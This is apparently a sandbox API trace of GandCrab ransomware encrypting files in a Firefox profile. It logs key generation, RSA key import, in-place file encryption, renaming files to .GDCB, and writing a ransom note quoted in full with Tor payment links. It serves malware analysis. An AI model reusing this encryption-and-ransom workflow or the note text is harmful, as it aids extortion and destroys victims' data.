[0057.523] CryptReleaseContext (hProv=0x58ff08, dwFlags=0x0) returned 1 [0057.523] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x58fc60) returned 1 [0057.525] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x5dd6c8) returned 1 [0057.525] CryptGetKeyParam (in: hKey=0x5dd6c8, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0057.525] CryptEncrypt (in: hKey=0x5dd6c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285e7e8*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285e7e8*=0x100) returned 1 [0057.525] GetLastError () returned 0x0 [0057.525] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0057.525] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\secmod.db" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\secmod.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0057.525] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0057.525] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0057.526] ReadFile (in: hFile=0x504, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e828, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285e828*=0x4000, lpOverlapped=0x0) returned 1 [0057.538] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0057.538] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0057.539] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.539] SetFilePointer (in: hFile=0x504, lDistanceToMove=-16384, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0057.539] WriteFile (in: hFile=0x504, lpBuffer=0x29c0000*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x29c0000*, lpNumberOfBytesWritten=0x285e820*=0x4000, lpOverlapped=0x0) returned 1 [0057.539] VirtualFree (lpAddress=0x29c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.539] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.542] WriteFile (in: hFile=0x504, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285e820*=0x100, lpOverlapped=0x0) returned 1 [0057.542] WriteFile (in: hFile=0x504, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285e820*=0x100, lpOverlapped=0x0) returned 1 [0057.542] WriteFile (in: hFile=0x504, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285e820*=0x10, lpOverlapped=0x0) returned 1 [0057.542] CloseHandle (hObject=0x504) returned 1 [0057.543] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.544] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.544] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.544] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\secmod.db" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\secmod.db"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\secmod.db.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\secmod.db.gdcb")) returned 1 [0057.546] VirtualFree (lpAddress=0x2860000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.546] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.546] FindNextFileW (in: hFindFile=0x5b80f0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0057.546] lstrcmpW (lpString1="SecurityPreloadState.txt", lpString2=".") returned 1 [0057.546] lstrcmpW (lpString1="SecurityPreloadState.txt", lpString2="..") returned 1 [0057.546] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="SecurityPreloadState.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\SecurityPreloadState.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\SecurityPreloadState.txt" [0057.546] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0057.546] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\SecurityPreloadState.txt") returned 104 [0057.547] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\SecurityPreloadState.txt") returned 104 [0057.547] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.547] FindNextFileW (in: hFindFile=0x5b80f0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0057.547] lstrcmpW (lpString1="sessionCheckpoints.json", lpString2=".") returned 1 [0057.547] lstrcmpW (lpString1="sessionCheckpoints.json", lpString2="..") returned 1 [0057.547] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="sessionCheckpoints.json" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionCheckpoints.json") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionCheckpoints.json" [0057.547] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0057.547] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionCheckpoints.json") returned 103 [0057.547] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionCheckpoints.json") returned 103 [0057.547] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionCheckpoints.json") returned 103 [0057.547] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionCheckpoints.json") returned 103 [0057.547] lstrcmpiW (lpString1="sessionCheckpoints.json", lpString2="desktop.ini") returned 1 [0057.547] lstrcmpiW (lpString1="sessionCheckpoints.json", lpString2="autorun.inf") returned 1 [0057.547] lstrcmpiW (lpString1="sessionCheckpoints.json", lpString2="ntuser.dat") returned 1 [0057.547] lstrcmpiW (lpString1="sessionCheckpoints.json", lpString2="iconcache.db") returned 1 [0057.547] lstrcmpiW (lpString1="sessionCheckpoints.json", lpString2="bootsect.bak") returned 1 [0057.547] lstrcmpiW (lpString1="sessionCheckpoints.json", lpString2="boot.ini") returned 1 [0057.547] lstrcmpiW (lpString1="sessionCheckpoints.json", lpString2="ntuser.dat.log") returned 1 [0057.547] lstrcmpiW (lpString1="sessionCheckpoints.json", lpString2="thumbs.db") returned -1 [0057.547] lstrcmpiW (lpString1="sessionCheckpoints.json", lpString2="GDCB-DECRYPT.txt") returned 1 [0057.547] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionCheckpoints.json" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\sessioncheckpoints.json")) returned 0x20 [0057.548] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionCheckpoints.json", dwFileAttributes=0x20) returned 1 [0057.548] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x2860000 [0057.548] lstrcpyW (in: lpString1=0x2860000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionCheckpoints.json" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionCheckpoints.json") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionCheckpoints.json" [0057.548] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionCheckpoints.json", lpString2=".GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionCheckpoints.json.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionCheckpoints.json.GDCB" [0057.548] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x58ff08) returned 1 [0057.549] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0057.549] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0057.549] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0057.549] CryptGenRandom (in: hProv=0x58ff08, dwLen=0x10, pbBuffer=0x285e7cc | out: pbBuffer=0x285e7cc) returned 1 [0057.549] CryptReleaseContext (hProv=0x58ff08, dwFlags=0x0) returned 1 [0057.549] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.549] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x5901b0) returned 1 [0057.550] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0057.550] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0057.550] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0057.550] CryptGenRandom (in: hProv=0x5901b0, dwLen=0x20, pbBuffer=0x285e798 | out: pbBuffer=0x285e798) returned 1 [0057.550] CryptReleaseContext (hProv=0x5901b0, dwFlags=0x0) returned 1 [0057.550] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.551] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2870000 [0057.551] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2880000 [0057.551] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x58fc60) returned 1 [0057.554] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x5dd0c8) returned 1 [0057.554] CryptGetKeyParam (in: hKey=0x5dd0c8, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0057.554] CryptEncrypt (in: hKey=0x5dd0c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285e7e4*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285e7e4*=0x100) returned 1 [0057.555] GetLastError () returned 0x0 [0057.555] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0057.555] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x5902c0) returned 1 [0057.557] CryptImportKey (in: hProv=0x5902c0, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x5dd108) returned 1 [0057.557] CryptGetKeyParam (in: hKey=0x5dd108, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0057.558] CryptEncrypt (in: hKey=0x5dd108, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285e7e8*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285e7e8*=0x100) returned 1 [0057.558] GetLastError () returned 0x0 [0057.558] CryptReleaseContext (hProv=0x5902c0, dwFlags=0x0) returned 1 [0057.558] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionCheckpoints.json" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\sessioncheckpoints.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0057.558] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0057.559] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0057.559] ReadFile (in: hFile=0x504, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e828, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285e828*=0x120, lpOverlapped=0x0) returned 1 [0057.569] VirtualAlloc (lpAddress=0x0, dwSize=0x120, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0057.569] VirtualAlloc (lpAddress=0x0, dwSize=0x120, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0057.570] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.570] SetFilePointer (in: hFile=0x504, lDistanceToMove=-288, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0057.570] WriteFile (in: hFile=0x504, lpBuffer=0x29c0000*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x29c0000*, lpNumberOfBytesWritten=0x285e820*=0x120, lpOverlapped=0x0) returned 1 [0057.570] VirtualFree (lpAddress=0x29c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.570] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.574] WriteFile (in: hFile=0x504, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285e820*=0x100, lpOverlapped=0x0) returned 1 [0057.574] WriteFile (in: hFile=0x504, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285e820*=0x100, lpOverlapped=0x0) returned 1 [0057.637] WriteFile (in: hFile=0x504, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285e820, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285e820*=0x10, lpOverlapped=0x0) returned 1 [0057.637] CloseHandle (hObject=0x504) returned 1 [0057.638] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.640] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.640] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.640] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionCheckpoints.json" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\sessioncheckpoints.json"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionCheckpoints.json.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\sessioncheckpoints.json.gdcb")) returned 1 [0057.641] VirtualFree (lpAddress=0x2860000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.641] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.641] FindNextFileW (in: hFindFile=0x5b80f0, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0057.641] lstrcmpW (lpString1="sessionstore-backups", lpString2=".") returned 1 [0057.641] lstrcmpW (lpString1="sessionstore-backups", lpString2="..") returned 1 [0057.641] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="sessionstore-backups" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups" [0057.641] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\" [0057.641] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0057.642] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0057.642] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0057.642] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0057.642] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0057.642] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.642] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\") returned 101 [0057.642] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\*" [0057.642] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\*", lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0x5dd148 [0057.648] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0057.648] FindNextFileW (in: hFindFile=0x5dd148, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0057.648] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0057.648] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0057.648] FindNextFileW (in: hFindFile=0x5dd148, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0057.648] lstrcmpW (lpString1="previous.js", lpString2=".") returned 1 [0057.648] lstrcmpW (lpString1="previous.js", lpString2="..") returned 1 [0057.648] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\", lpString2="previous.js" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\previous.js") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\previous.js" [0057.648] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\previous.js") returned 112 [0057.648] lstrcmpW (lpString1=".js", lpString2=".sql") returned -1 [0057.648] FindNextFileW (in: hFindFile=0x5dd148, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0057.648] lstrcmpW (lpString1="upgrade.js-20170518000419", lpString2=".") returned 1 [0057.648] lstrcmpW (lpString1="upgrade.js-20170518000419", lpString2="..") returned 1 [0057.648] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\", lpString2="upgrade.js-20170518000419" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\upgrade.js-20170518000419") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\upgrade.js-20170518000419" [0057.648] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\upgrade.js-20170518000419") returned 126 [0057.648] lstrcmpW (lpString1=".js-20170518000419", lpString2=".sql") returned -1 [0057.648] FindNextFileW (in: hFindFile=0x5dd148, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0 [0057.648] FindClose (in: hFindFile=0x5dd148 | out: hFindFile=0x5dd148) returned 1 [0057.649] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0057.649] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\\\GDCB-DECRYPT.txt") returned 118 [0057.649] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\sessionstore-backups\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x504 [0057.651] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0057.651] WriteFile (in: hFile=0x504, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285e5dc, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285e5dc*=0xad6, lpOverlapped=0x0) returned 1 [0057.651] CloseHandle (hObject=0x504) returned 1 [0057.651] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.652] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\") returned 101 [0057.652] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\*" [0057.652] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionstore-backups\\*", lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0x5dd148 [0057.652] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0057.652] FindNextFileW (in: hFindFile=0x5dd148, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0057.652] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0057.652] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0057.652] FindNextFileW (in: hFindFile=0x5dd148, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0057.652] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 